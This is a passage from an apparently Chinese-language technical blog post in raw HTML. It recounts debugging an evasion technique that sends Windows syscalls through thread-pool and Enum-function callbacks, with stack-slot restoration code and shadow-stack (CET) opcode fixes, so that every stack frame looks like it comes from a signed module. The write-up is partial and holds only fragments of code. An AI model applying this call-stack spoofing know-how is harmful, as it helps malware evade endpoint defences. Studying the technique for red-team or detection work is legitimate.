0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果我说这第一次就成功了，那我是在撒谎。让我分享一些痛苦，因为如果你尝试实现类似的东西，你很可能会撞上同样的墙。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">8.1 Enum 函数崩溃</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">完整实现（非 PoC）的第一个版本使用了每个 Enum 函数&#34;安全&#34;参数数量的硬编码表。我一在另一个 Windows 版本上测试，一半函数就开始崩溃。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">问题在于：Microsoft 在版本间重新编译这些函数，序言可能分配不同数量的栈空间。一个在 Windows 10 21H2 上愉快支持 8 个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">参数的函数在 22H2 上会崩溃，因为它现在在序言中少分配了 16 字节。我的第 8 个参数覆盖了一个保存的寄存器。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">修复方案是我在 7.3 中描述的运行时画像分析器。不是硬编码表，每个函数的栈帧在启动时通过用特殊回调调用它一次来测量。这增加了几毫秒的初始化时间，但值得：技术现在跨 Windows 版本具有弹性，无需手动维护。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我在 Windows &gt;= 8 和 Windows Server &gt;= 2012 上测试了这一点。每次我以为完成了，新版本就会破坏一个我以为安全的函数。美好时光。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">8.2 线程池崩溃</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">即使在 Enum 函数画像分析工作之后，我仍然在线程池内部遇到崩溃。工作线程执行，Enum 回调运行，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">成功……然后进程在返回 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TppWorkpExecute</span></code><span leaf="">的路上死亡。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">罪魁祸首：不正确的栈恢复。在阶段 1 中，当我将执行重定向到 Enum 函数时，我用 Enum 函数的第 5/6/7 参数覆盖了三个栈槽（RSP+0x20、RSP+0x28、RSP+0x30）。这些槽属于线程池工作线程的调用者（内部 TP 代码）。当 Enum 函数返回且 TP 代码试图从这些位置读取自己的局部状态时，它找到的是我的零。崩溃。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">修复方案就是你在 Enum 回调序言中看到的：在开始处，在做任何其他事之前，将那三个槽恢复为原始值。值在阶段 1 中已备份（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">backup_addr/val_arg5/6/7</span></code><span leaf="">）。恢复是幂等的：恢复后，备份地址设为 0，这样第二次调用不会重复写入。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> args.backup_addr_arg5 </span><span style="color: rgb(215, 58, 73);"><span leaf="">!=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(args.backup_addr_arg5 </span><span style="color: rgb(215, 58, 73);"><span leaf="">as</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*mut</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, args.backup_val_arg5) };</span><span leaf=""><br/></span><span leaf="">    args.backup_addr_arg5 </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf="">// ... same for 6 and 7 ...</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这是那种崩溃发生在系统代码（TP 内部）中的 bug，调试器显示损坏的帧，而完全没有指示出了什么问题。我花了几天盯着栈的十六进制转储才弄清楚哪些字节被谁覆盖了。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">8.3 毁掉我一周的 8 字节偏移</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这个事后看来很尴尬，但当时让我抓狂。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当我最初在阶段 1 写栈槽备份代码时，我使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sp_orig</span></code><span leaf="">（即 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">new_rsp</span></code><span leaf="">，也就是父级 RSP 减 8）计算位置。所以：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">sp_orig.add(4) = new_rsp + 0x20 = (parent_rsp - 8) + 0x20 = parent_rsp + 0x18</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">但等等。返回地址在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[new_rsp]</span></code><span leaf="">。这意味着从被调用者（Enum 函数）的视角，home space 从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[RSP+0x08]</span></code><span leaf="">开始，而非 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[RSP+0x00]</span></code><span leaf="">。一切都因为我手动放在栈上的返回地址而偏移了 8 字节。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">所以我以为是&#34;第 5 参数位置&#34;的实际上是第 4 参数的 home space。我在备份和恢复错误的槽。Enum 函数会破坏真正的第 5 槽（我没有备份的那个），TP 代码在返回时崩溃。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一旦我意识到偏移错了，修复很简单。但找到它？我有一栈&#34;几乎正确&#34;的数字和一个直到代码深入 TP 内部 3 个函数调用才发生的崩溃。我一定盯着栈的十六进制转储整整一周才注意到 8 字节的差异。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">故事的寓意：当你手动构建栈帧时，差一意味着 x64 上差八。而差八意味着你的代码 90% 的时间工作正常，但在另外 10% 崩溃且没有明显模式。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">8.4 INCSSPD vs INCSSPQ：4 字节错位</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这个赢得了&#34;每字符源码造成最大损害字节数&#34;奖。操作码中少一个字节。数周的困惑。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">原始实现使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPD</span></code><span leaf="">（32 位变体）来推进影子栈指针：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">.</span><span style="color: rgb(111, 66, 193);"><span leaf="">byte</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0xF3</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x0F</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xAE</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xE9</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">; INCSSPD ecx, advances SSP by ecx × 4 bytes</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 x64 上，影子栈条目每个 8 字节。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPD</span></code><span leaf="">且 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ecx=1</span></code><span leaf="">推进 4 字节，半个条目。SSP 最终指向一个返回地址的</span><em><span leaf="">中间</span></em><span leaf="">。从影子栈的每次后续读取都是垃圾。下一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">将真实返回地址与一个条目的高 4 字节拼接下一个条目的低 4 字节进行比较。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf=""><a class="wx_topic_link" topic-id="mrmb41h7-56qgza" style="color: #576B95 !important;" data-topic="1" data-recommend="">#CP</a></span></code><span leaf="">异常。进程死亡。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">修复是一个字节，REX.W 前缀（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x48</span></code><span leaf="">），切换到 64 位变体：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">.</span><span style="color: rgb(111, 66, 193);"><span leaf="">byte</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0xF3</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x48</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x0F</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xAE</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xE9</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">; INCSSPQ rcx, advances SSP by rcx × 8 bytes</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这个 bug 存活这么久的原因：原始 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user_mode_continue</span></code><span leaf="">是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">#[inline(always)]</span></code><span leaf="">。内联后，没有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">call</span></code><span leaf="">指令，没有过期影子栈条目，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ</span></code><span leaf="">循环从不触发。bug 是潜伏的，结构上存在但从未执行。当我切换到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">#[inline(never)]</span></code><span leaf="">（使 CET 对账活跃）时，循环终于运行，4 字节错位立即表现为跳板 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">处的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">STATUS_STACK_BUFFER_OVERRUN</span></code><span leaf="">（快速失败代码 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x39</span></code><span leaf="">）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">异常发生在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntdll!NtProtectVirtualMemory+0x14</span></code><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">之后的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">）。调用栈完美，每一帧都来自已签名模块。但影子栈错位了 4 字节，CET 不在乎正常栈看起来多漂亮。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="STATUS STACK BUFFER OVERRUN" class="rich_pages wxw-img" data-ratio="0.5973397823458283" data-type="png" data-w="827" style="max-width: 100%;" data-imgfileid="100012921" 